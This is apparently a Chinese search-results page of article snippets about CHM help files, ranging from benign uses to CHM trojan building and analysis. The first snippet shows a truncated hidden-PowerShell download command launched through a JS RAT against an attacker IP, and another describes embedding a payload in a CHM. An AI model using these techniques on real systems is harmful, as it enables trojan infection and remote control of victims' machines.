首页
学习
活动
专区
圈层
工具
发布

制作chm格式木马病毒

CHM是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。...CHM文件格式是微软1998年推出的基于HTML文件特性的帮助文件系统,以替代早先的WinHelp帮助系统,它也是一种超文本标识语言,在Windows 98中把CHM类型文件称作“已编译的HTML帮助文件...CHM文件因为使用方便,形式多样也被采用作为电子书的格式。 在普通用户眼里,CHM文件与txt文件一般无二,防御心理较弱。因此,一旦制作CHM文件木马,其传递更易,危害更广。...(至于为什么没有生效,可能跟CHM的语法相关,我尝试过修改参数格式几次后没再尝试了,有兴趣的同学可以去查阅资料。)弹出一个黑框?这不就完全暴露了自己是木马了吗?...格式为: python MyJSRat.py -i 192.168.2.237 -p 8080 -c "powershell.exe -nop -w hidden -c $M=new-object net.webclient

6.6K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    .Chm格式帮助文件作盾,CryptoWall勒索软件卷土重来

    近日,Bitdefender的安全专家又披露了一种勒索软件CryptoWall变种,攻击者利用了看似安全的.Chm格式帮助文件发起攻击。...而这次CryptoWall利用的是.Chm附件。 .Chm文件因何变得危险 .Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。...简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。...通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。...这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。

    1.3K70

    CHM木马的分析与利用

    前言 CHM文件格式是微软推出的基于HTML文件特性的帮助文件系统,也称作“已编译的HTML帮助文件”。...CHM能够支持脚本、Flash、图片、音频、视频等内容,并且同样支持超链接目录、索引以及全文检索功能,常用来制作说明文档、电子书等以方便查阅,在绝大多数人的印象中,CHM类型文件是“无公害”文档文件。...偶然获得了一个过X60启动的CHM木马,由于从未接触过此类木马,遂进行一番学习,并通过木马所带来的启发再创造。 ?...一、木马行为分析 CHM文件是经过压缩的各类资源的集合,使用7z解压软件直接打开木马样本,如图所示,可以发现CHM文件内部包含一个说明.html文件。 ?...4.编译CHM ? 5.将压缩包并写入CHM(利用C32Asm) ? 将payload.rar粘贴到CHM的最后面并保存 ? 6.测试 ? OK,成功。

    3.1K30

    再聊一期chm文件

    背景 大家都已经知道DESK倚天剑不但支持chm的浏览而且还能把里面html等资源文件像压缩包一样解压出来了。也知道DESK倚天剑的通用性,无论哪种CPU架构和操作系统都能无缝运行。...你怎么还聊chm啊?因为,DeskUI团队还缺少一个“致敬”。 出自国人之手的chm解压类库 我曾经问过AI解决方案,AI推荐我用Tika。...Tika又重又复杂,让DeskUI团队曾经一度放弃对于chm文件的支持。 幸运的是,我们找到了jchmlib。抱着试试的心态测试了一把,我去,直接惊掉下巴了。...这个纯java库chm解压模块代码只有10多k,而且没有任何三方依赖,兼容性还非常强。还能说什么?只能向如此优秀的“陈钟国”程序员致以DeskUI团队最崇高的敬意。...以jchmlib为例,这么优秀项目,目前世面上最好的纯java的chm解析器,竟然只有36颗星,而且9年没有更新了,太可惜了。

    18110

    解决CHM文件打开无法显示网页的问题

    后来有了专门的编译器、反编译器,人们发现chm这东西具有的html的特性,使其用来做电子书实在是又好又方便,连html里面的脚本特效什么的都能保留下来。所以现在有很多资料采用这种格式。...HKEY_LOCAL_MACHINESOFTWAREMicrosoftHTMLHelp1.xItssRestrictions] "MaxAllowedZone"=dword:00000003 另存为HTMLHelp.reg(或其它名称,只要是reg格式就行...以CHM为扩展名的文件图标通常为一个带问号的文档图标,表示帮助文档,是 Microsoft 自 Windows 98 以来提供的一种帮助文档格式的文件,用于替代 Windows 95 下的 HLP(Help...CHM 文件可以通过官方免费提供了 HTML Help Workshop 生成,它的源文件是 HTML 文件。现在网络上很多电子书籍都被制作成 CHM 格式。...问题:chm文件打开无法显示 “CHM格式的文件无法显示,而且windows 2000上正常,windows xp上打开后显示无法找到页面。

    6.6K20

    【DB笔试面试732】在Oracle中,Oracle Cluster Health Monitor(CHM)的作用是什么?

    另外,用户可以使用CHM来及早发现一些系统负载高、内存异常等问题,从而避免产生更严重的问题。CHM也可以用来在系统出现异常时快速收集异常时刻的数据。...相对于OSWatcher,CHM直接调用OS的API来降低开销,而OSWatcher则是直接调用UNIX命令;另外,CHM的实时性更强,每秒收集一次数据,从Oracle 11.2.0.3开始改为了每5秒一次...manage -get reppath #查看CHM数据保存路径 oclumon manage -repos reploc /shared/oracle/chm #修改CHM数据保存路径 oclumon...collect --all --incidenttime 12/30/201515:13:00 --incidentduration 00:30 其中,“--incidenttime”表示采集数据开始时间,格式为...MM/DD/YYYY24HH:MM:SS;“--incidentduration”表示持续时间,格式为HH:MM。

    1.4K10

    【工具】这个神器可以提取你代码中的关键信息生成技术文档

    另一种方法是,找一些离线的文档,网上有不少人整理了一些离线的文档,比如.chm格式(已编译的帮助文件)的文档: ? 里面大概是这样子的: ?...本文分享的重点就是.chm文件的制作。最近需要对自己的一些代码做一些整理,发现整理成.chm文件是个不错的选择,.chm文件可以根据我们的代码生成,下面把生成.chm文件的方法分享给大家。...doxygen可以生成好几种格式的文档,要生成.chm格式的手册就必须安装htmlhelp,要生成关系图必须安装依graphviz。...三、Doxygen根据代码生成.chm的机制 Doxygen可以根据固定格式的代码注释生成相对应的.chm格式的手册。...四、Doxygen生成.chm文件的方法 (1)设置工程工作目录 ? (2)设置编程语言 ? (3)设置输出文件格式 ? (4)设置生成的关系表 ? (5)输出的语言、编码 ?

    2.6K20

    chm文件在信创系统下用不了怎么办?

    背景 chm是一种专门用于产品文档的文件格式。由于是文档,所以无论Windows、Linux、Mac都有可能遇到。...在Windows下咱们就不说了,操作系统本身就支持这种文件格式,但是在信创操作系统下可就不行了。如下图所示:UOS下无法打开chm文件 很多网友会说:“简单啊,去商店下载一个chm阅读器不就行了?”...你今天为了chm安装一个软件,明天为了pdf再来一个,后天还有json.......有头吗?光审批流程就能搞死人的。 怎办办?安装一个DESK吧,一劳永逸。一个软件解决N多问题,离线安装,成熟稳定。...对DESK来说chm文件根本不是个事。 DESK倚天剑管理chm 过程简单得我都不好意思说,就是鼠标双击,用过DESK的网友不用说都知道,所以就截个图吧。...打开后的chm中包括的任何html、css、图片等文件一览无余。后面的事情不需要我说了,你可以任意的把这些文件进行复制,浏览、搜索.....

    40510
    领券